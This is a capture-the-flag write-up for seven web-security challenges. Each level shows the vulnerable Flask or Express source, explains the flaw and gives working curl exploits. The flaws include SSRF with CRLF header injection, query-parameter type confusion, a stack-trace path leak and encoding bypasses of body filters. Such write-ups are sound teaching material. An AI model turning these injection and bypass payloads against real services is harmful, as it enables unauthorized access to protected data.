Here are my solutions to Gynvael Coldwind (@gynvael)’s web security challenges which I thoroughly enjoyed solving!
These are specially-crafted whitebox challenges designed to test and impart certain skills.
A total of 7 independent challenges were released. Level 0 is a Flask application, whereas Levels 1 through 6 are based on Express.js.

Level 0

Problem

Target: http://challenges.gynvael.stream:5000
https://twitter.com/gynvael/status/1256352469795430407

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python3
from flask import Flask, request, Response, render_template_string
from urllib.parse import urlparse
import socket
import os

app = Flask(__name__)
FLAG = os.environ.get('FLAG', "???")

with open("task.py") as f:
  SOURCE = f.read()

@app.route('/secret')
def secret():
  if request.remote_addr != "127.0.0.1":
    return "Access denied!"

  if request.headers.get("X-Secret", "") != "YEAH":
    return "Nope."

  return f"GOOD WORK! Flag is {FLAG}"

@app.route('/')
def index():
  return render_template_string(
      """
      <html>
        <body>
          <h1>URL proxy with language preference!</h1>
          <form action="/fetch" method="POST">
            <p>URL: <input name="url" value="http://gynvael.coldwind.pl/"></p>
            <p>Language code: <input name="lang" value="en-US"></p>
            <p><input type="submit"></p>
          </form>
          <pre>
Task source:

          </pre>
        </body>
      </html>
      """, src=SOURCE)

@app.route('/fetch', methods=["POST"])
def fetch():
  url = request.form.get("url", "")
  lang = request.form.get("lang", "en-US")

  if not url:
    return "URL must be provided"

  data = fetch_url(url, lang)
  if data is None:
    return "Failed."

  return Response(data, mimetype="text/plain;charset=utf-8")

def fetch_url(url, lang):
  o = urlparse(url)

  req = '\r\n'.join([
    f"GET {o.path} HTTP/1.1",
    f"Host: {o.netloc}",
    f"Connection: close",
    f"Accept-Language: {lang}",
    "",
    ""
  ])

  res = o.netloc.split(':')
  if len(res) == 1:
    host = res[0]
    port = 80
  else:
    host = res[0]
    port = int(res[1])

  data = b""
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((host, port))
    s.sendall(req.encode('utf-8'))
    while True:
      data_part = s.recv(1024)
      if not data_part:
        break
      data += data_part

  return data

if __name__ == "__main__":
  app.run(debug=False, host="0.0.0.0")

Analysis

Looking at the source code provided, we see that there is a /secret route that will give the flag if request.remote_addr == "127.0.0.1" and if there is a HTTP header X-Secret: YEAH.

If there are reverse proxies that relay HTTP requests to the Flask application (e.g. Client <-> Reverse Proxy <-> Flask), then request.remote_addr may not be set correctly to the remote client’s IP address. So, let’s do a quick check to test this out:

$ curl 'http://challenges.gynvael.stream:5000/secret' -H 'X-Secret: YEAH'
Access denied!

Clearly, that didn’t work – the request.remote_addr is set correctly on the server end before it reaches the Flask app.

Let’s examine the other functionalities of the application. There is a suspicious /fetch endpoint provided, which invokes the fetch_url(url, lang) function:

def fetch_url(url, lang):
  o = urlparse(url)

  req = '\r\n'.join([
    f"GET {o.path} HTTP/1.1",
    f"Host: {o.netloc}",
    f"Connection: close",
    f"Accept-Language: {lang}",
    "",
    ""
  ])

  res = o.netloc.split(':')
  if len(res) == 1:
    host = res[0]
    port = 80
  else:
    host = res[0]
    port = int(res[1])

  data = b""
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((host, port))
    s.sendall(req.encode('utf-8'))
    while True:
      data_part = s.recv(1024)
      if not data_part:
        break
      data += data_part

  return data

Here, we can see that the URL is being parsed, and the hierarchical path (o.path) and network location part (o.netloc) are being extracted used alongside the lang parameter to create a raw HTTP request to the host and port specified in the network location part.

Clearly, there is a server-side request forgery (SSRF) vulnerability, since we can establish a raw socket connection to any host and port, and we have some control over the data to be sent!

Let’s check that we are able to reach the /secret endpoint with this SSRF vulnerability and pass the request.remote_addr == "127.0.0.1" check:

$ curl 'http://challenges.gynvael.stream:5000/fetch' -d 'url=http://127.0.0.1:5000/secret'
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Fri, 3 May 2020 09:01:05 GMT

Nope.

Great! Since we are no longer getting the Access denied! error message, we have successfully passed the check.

The last piece of the puzzle is to figure out how to set the X-Secret: YEAH HTTP header. Remember the lang paramater? Turns out, it is also not sanitized as well, so we can simply inject \r\n to terminate the Accept-Language header and inject arbitrary HTTP headers (or even requests)!

Solution

$ curl 'http://challenges.gynvael.stream:5000/fetch' -d 'url=http://127.0.0.1:5000/secret' -d 'lang=%0d%0aX-Secret: YEAH'

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 42
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Fri, 3 May 2020 09:01:17 GMT

GOOD WORK! Flag is CTF{ThesePeskyNewLines}

Flag:: CTF{ThesePeskyNewLines}


Level 1

Problem

Target: http://challenges.gynvael.stream:5001
https://twitter.com/gynvael/status/1264653010111729664

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express')
const fs = require('fs')

const PORT = 5001
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 1\n\n")

  if (!('secret' in req.query)) {
    res.end(SOURCE)
    return
  }

  if (req.query.secret.length > 5) {
    res.end("I don't allow it.")
    return
  }

  if (req.query.secret != "GIVEmeTHEflagNOW") {
    res.end("Wrong secret.")
    return
  }

  res.end(FLAG)
})

app.listen(PORT, () => {
  console.log(`Example app listening at port ${PORT}`)
})

Analysis

In Express, req.query.* accepts and parses query string parameters into either strings, arrays or objects.

If an array is supplied, Array.toString() will return a string representation of the array values separated by commas. Furthermore, it also has a length property defining the size of the array:

> ['GIVEmeTHEflagNOW'].toString()
GIVEmeTHEflagNOW

> ['GIVEmeTHEflagNOW'].length
1

Solution

As such, we can send a secret query string parameter as an array with the constant string as its value to pass the checks and obtain the flag:

$ curl 'http://challenges.gynvael.stream:5001/?secret[]=GIVEmeTHEflagNOW'
Level 1

CTF{SmellsLikePHP}

Flag:: CTF{SmellsLikePHP}


Level 2

Problem

Target: http://challenges.gynvael.stream:5002
https://twitter.com/gynvael/status/1257784735025291265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const express = require('express')
const fs = require('fs')

const PORT = 5002
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync('app.js')

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 2\n\n")

  if (!('X' in req.query)) {
    res.end(SOURCE)
    return
  }

  if (req.query.X.length > 800) {
    const s = JSON.stringify(req.query.X)
    if (s.length > 100) {
      res.end("Go away.")
      return
    }

    try {
      const k = '<' + req.query.X + '>'
      res.end("Close, but no cigar.")
    } catch {
      res.end(FLAG)
    }

  } else {
    res.end("No way.")
    return
  }
})

app.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
})

Analysis

Sometimes, it’s easier to work backwards. Let’s look at where the printing of the flag is at:

try {
  const k = '<' + req.query.X + '>'
  res.end("Close, but no cigar.")
} catch {
  res.end(FLAG)
}

Here, we can see that the flag is printed only when req.query.X throws an exception.

From above, we can see that type conversion may be performed on req.query.X to convert it to a string for concatenation.
This means that the toString() method of req.query.X may be invoked.

Recall that in Express, req.query.* accepts and parses query string parameters into either strings, arrays or objects.

In JavaScript, it is possible to override the default toString() inherited from the object’s prototype for arrays and objects:

> obj = { "b" : "c" }
{ b: 'c' }
> obj.toString()
'[object Object]'
> obj.toString = () => "obj.toString() overriden!"
> "" + obj
'obj.toString() overriden!'
> obj.toString()
'obj.toString() overriden!'

> arr = [ "b", "c" ]
[ 'b', 'c' ]
> arr.toString()
'b,c'
> arr.toString = () => "arr.toString() overriden!"
> arr.toString()
'arr.toString() overriden!'
> "" + arr
'arr.toString() overriden!'

Note: This is simply overriding properties (including methods) inherited from the object’s prototype. Do not confuse the above with prototype pollution!

But, if toString is not a function, then we get a TypeError:

> obj.toString = "not a function"
> "" + obj
Uncaught TypeError: Cannot convert object to primitive value

> arr.toString = "not a function too"
> "" + arr
Uncaught TypeError: Cannot convert object to primitive value

So, we can define our custom toString property using X[toString]= (which isn’t a function) to trigger the exception and print the flag.
In fact, this issue is also raised in the Express’ documentation, and it is the developers’ responsibility to validate before trusting user-controlled input:

“As req.query’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. For example, req.query.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.

We can also use the same method to bypass the preceding req.query.X.length > 800 check by setting X[length]=1337 too.

Solution

$ curl 'http://challenges.gynvael.stream:5002/?X[length]=1337&X[toString]='
Level 2

CTF{WaaayBeyondPHPLikeWTF}

Flag:: CTF{WaaayBeyondPHPLikeWTF}


Level 3

Problem

Target: http://challenges.gynvael.stream:5003
https://twitter.com/gynvael/status/1259087300824305665

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// IMPORTANT NOTE:
// The secret flag you need to find is in the path name of this JavaScript file.
// So yes, to solve the task, you just need to find out what's the path name of
// this node.js/express script on the filesystem and that's it.

const express = require('express')
const fs = require('fs')
const path = require('path')

const PORT = 5003
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync(path.basename(__filename))

const app = express()

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 3\n\n")
  res.end(SOURCE)
})

app.get('/truecolors/:color', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')

  const color = ('color' in req.params) ? req.params.color : '???'

  if (color === 'red' || color === 'green' || color === 'blue') {
    res.end('Yes! A true color!')
  } else {
    res.end('Hmm? No.')
  }
})

app.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
})

Analysis

Since the goal is to leak the filepath of the JavaScript file, focus is placed on finding where exceptions are being returned in the response.

After doing a quick search on GitHub for throw statements, we see that /lib/router/layer.js throws an exception if the parameter value cannot be decoded successfully using decodeURIComponent().

Solution

Supply an invalid path parameter (e.g. %) to cause the stack trace to be shown, thereby leaking the filepath of the script and hence obtaining the flag:

$ curl 'http://challenges.gynvael.stream:5003/truecolors/%'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>URIError: Failed to decode param &#39;%&#39;<br> &nbsp; &nbsp;at decodeURIComponent (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at decode_param (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/layer.js:172:12)<br> &nbsp; &nbsp;at Layer.match (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/layer.js:148:15)<br> &nbsp; &nbsp;at matchLayer (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/index.js:574:18)<br> &nbsp; &nbsp;at next (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/index.js:220:15)<br> &nbsp; &nbsp;at expressInit (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/middleware/init.js:40:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/index.js:317:13)<br> &nbsp; &nbsp;at /usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/index.js:284:7<br> &nbsp; &nbsp;at Function.process_params (/usr/src/app/CTF{TurnsOutItsNotRegexFault}/node_modules/express/lib/router/index.js:335:12)</pre>
</body>
</html>

Flag:: CTF{TurnsOutItsNotRegexFault}


Level 4

Problem

Target: http://challenges.gynvael.stream:5004
https://twitter.com/gynvael/status/1260499214225809409

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const express = require('express')
const fs = require('fs')
const path = require('path')

const PORT = 5004
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync(path.basename(__filename))

const app = express()

app.use(express.text({
  verify: (req, res, body) => {
    const magic = Buffer.from('ShowMeTheFlag')

    if (body.includes(magic)) {
      throw new Error("Go away.")
    }
  }
}))

app.post('/flag', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  if ((typeof req.body) !== 'string') {
    res.end("What?")
    return
  }

  if (req.body.includes('ShowMeTheFlag')) {
    res.end(FLAG)
    return
  }

  res.end("Say the magic phrase!")
})

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 4\n\n")
  res.end(SOURCE)
})

app.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
})

Analysis

Looking at the verify function, we see that there is a body.includes(magic) check that we need to satisfy, and req.body.includes('ShowMeTheFlag') must return true in the /flag endpoint POST handler.

According to Express’ documentation for express.text(), we see that the verify option is invoked as verify(req, res, buf, encoding), where buf is a Buffer of the raw request body and encoding is the encoding of the request.

This means that the body parameter in the verify function has yet to be decoded from the encoding type specified by the client. Notice that the body.includes(magic) in the verify function implicitly assumes that the request body contents supplied is in ASCII/UTF-8, as it fails to decode and convert the raw request to a common encoding before performing the check.

Solution

The solution is simple – use a different charset that uses multibyte characters, e.g. utf-16, utf-16le, utf-16be, and encode the constant string ShowMeTheFlag in the charset specified:

$ curl -H 'Content-Type: text/plain;charset=utf-16' --data-binary @<(python -c "print 'ShowMeTheFlag'.encode('utf-16')") 'http://challenges.gynvael.stream:5004/flag'

CTF{||ButVerify()WasSupposedToProtectUs!||}

Flag:: CTF{||ButVerify()WasSupposedToProtectUs!||}


Level 5

Problem

Target: http://challenges.gynvael.stream:5005
https://twitter.com/gynvael/status/1262434816714313729

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const http = require('http')
const express = require('express')
const fs = require('fs')
const path = require('path')

const PORT = 5005
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync(path.basename(__filename))

const app = express()

app.use(express.urlencoded({extended: false}))

app.post('/flag', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')

  if (req.body.secret !== 'ShowMeTheFlag') {
    res.end("Say the magic phrase!")
    return
  }

  if (req.youAreBanned) {
    res.end("How about no.")
    return
  }

  res.end(FLAG)
})

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 5\n\n")
  res.end(SOURCE)
})

const proxy = function(req, res) {
  req.youAreBanned = false
  let body = ''
  req
    .prependListener('data', (data) => { body += data })
    .prependListener('end', () => {
      const o = new URLSearchParams(body)
      req.youAreBanned = o.toString().includes("ShowMeTheFlag")
    })
  return app(req, res)
}

const server = http.createServer(proxy)
server.listen(PORT, () => {
  console.log(`Challenge listening at port ${PORT}`)
})

Analysis

We can observe that the code above is similar to that of Level 4, with some changes.

The first change is the use of app.use(express.urlencoded({extended: false})) instead of app.use(express.text(...). The second change is the use of http.createServer(proxy) to intercept the raw request body data before passing to Express instead of using the verify option.

Similar to Level 4, req.youAreBanned = o.toString().includes("ShowMeTheFlag") assumes the charset encoding of the request body when performing the check.

But, when issuing the request, we see an error:

$ curl -H 'Content-Type: application/x-www-form-urlencoded; charset=utf-16le' --data-binary @<(python -c "print 'secret=ShowMeTheFlag'.encode('utf-16le')") 'http://challenges.gynvael.stream:5005/flag'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>UnsupportedMediaTypeError: unsupported charset &quot;UTF-16LE&quot;<br> &nbsp; &nbsp;at urlencodedParser (/usr/src/app/node_modules/body-parser/lib/types/urlencoded.js:108:12)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/usr/src/app/node_modules/express/lib/router/index.js:317:13)<br> &nbsp; &nbsp;at /usr/src/app/node_modules/express/lib/router/index.js:284:7<br> &nbsp; &nbsp;at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/usr/src/app/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at expressInit (/usr/src/app/node_modules/express/lib/middleware/init.js:40:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/usr/src/app/node_modules/express/lib/router/index.js:317:13)<br> &nbsp; &nbsp;at /usr/src/app/node_modules/express/lib/router/index.js:284:7</pre>
</body>
</html>

This is because express.urlencoded (urlencoded in body-parser) asserts if the charset encoding for Content-Type: application/x-www-form-urlencoded is utf-8. So, it is not possible to specify any other charset encoding.

Solution

Speaking of encoding, there’s one more thing we have yet to try – Content-Encoding.

Recall that the raw request body data is being not decoded before being checked in proxy(). This means that we can encode the contents, e.g. using gzip compression, and specify Content-Encoding: gzip header, and the gzip-compressed contents will be used in the proxy() function (which passes the first check). Then, the body will decoded by Express before passing to the /flag endpoint POST handler, which correctly sets secret=ShowMeTheFlag:

$ curl -H 'Content-Encoding: gzip' --data-binary @<(printf 'secret=ShowMeTheFlag' | gzip) 'http://challenges.gynvael.stream:5005/flag'
CTF{||SameAsLevel4ButDifferent||}

Flag:: CTF{||SameAsLevel4ButDifferent||}


Level 6

Problem

Target: http://challenges.gynvael.stream:5006
https://twitter.com/gynvael/status/1264504663791058945

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const http = require('http')
const express = require('express')
const fs = require('fs')
const path = require('path')

const PORT = 5006
const FLAG = process.env.FLAG || "???"
const SOURCE = fs.readFileSync(path.basename(__filename))

const app = express()

const checkSecret = (secret) => {
  return
    [
      secret.split("").reverse().join(""),
      "xor",
      secret.split("").join("-")
    ].join('+')
}

app.get('/flag', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')

  if (!req.query.secret1 || !req.query.secret2) {
    res.end("You are not even trying.")
    return
  }

  if (`<${checkSecret(req.query.secret1)}>` === req.query.secret2) {
    res.end(FLAG)
    return
  }

  res.end("Lul no.")
})

app.get('/', (req, res) => {
  res.statusCode = 200
  res.setHeader('Content-Type', 'text/plain;charset=utf-8')
  res.write("Level 6\n\n")
  res.end(SOURCE)
})

app.listen(PORT, () => {
  console.log(`Example app listening at port ${PORT}`)
})

Analysis

Notice that checkSecret has a return keyword on line 13, but the value that was supposed to be returned is on the following lines.
This is a common mistake made when coding in JavaScript. In JavaScript, automatic semicolon insertion (ASI) is performed on some statements, such as return, that must be terminated with semicolons.

As such, a semicolon is automatically inserted after the return keyword and before the newline as such:

const checkSecret = (secret) => {
  return; // ASI performed here; below lines are ignored
    [
      secret.split("").reverse().join(""),
      "xor",
      secret.split("").join("-")
    ].join('+')
}

This means that effectively, undefined is being returned by the checkSecret arrow function expression.

Solution

To pass the checks, we simply set secret1 query string parameter to a non-empty value, and secret2 to <undefined>:

$ curl 'http://challenges.gynvael.stream:5006/flag?secret1=a&secret2=<undefined>'

CTF{||RevengeOfTheScript||}

Flag:: CTF{||RevengeOfTheScript||}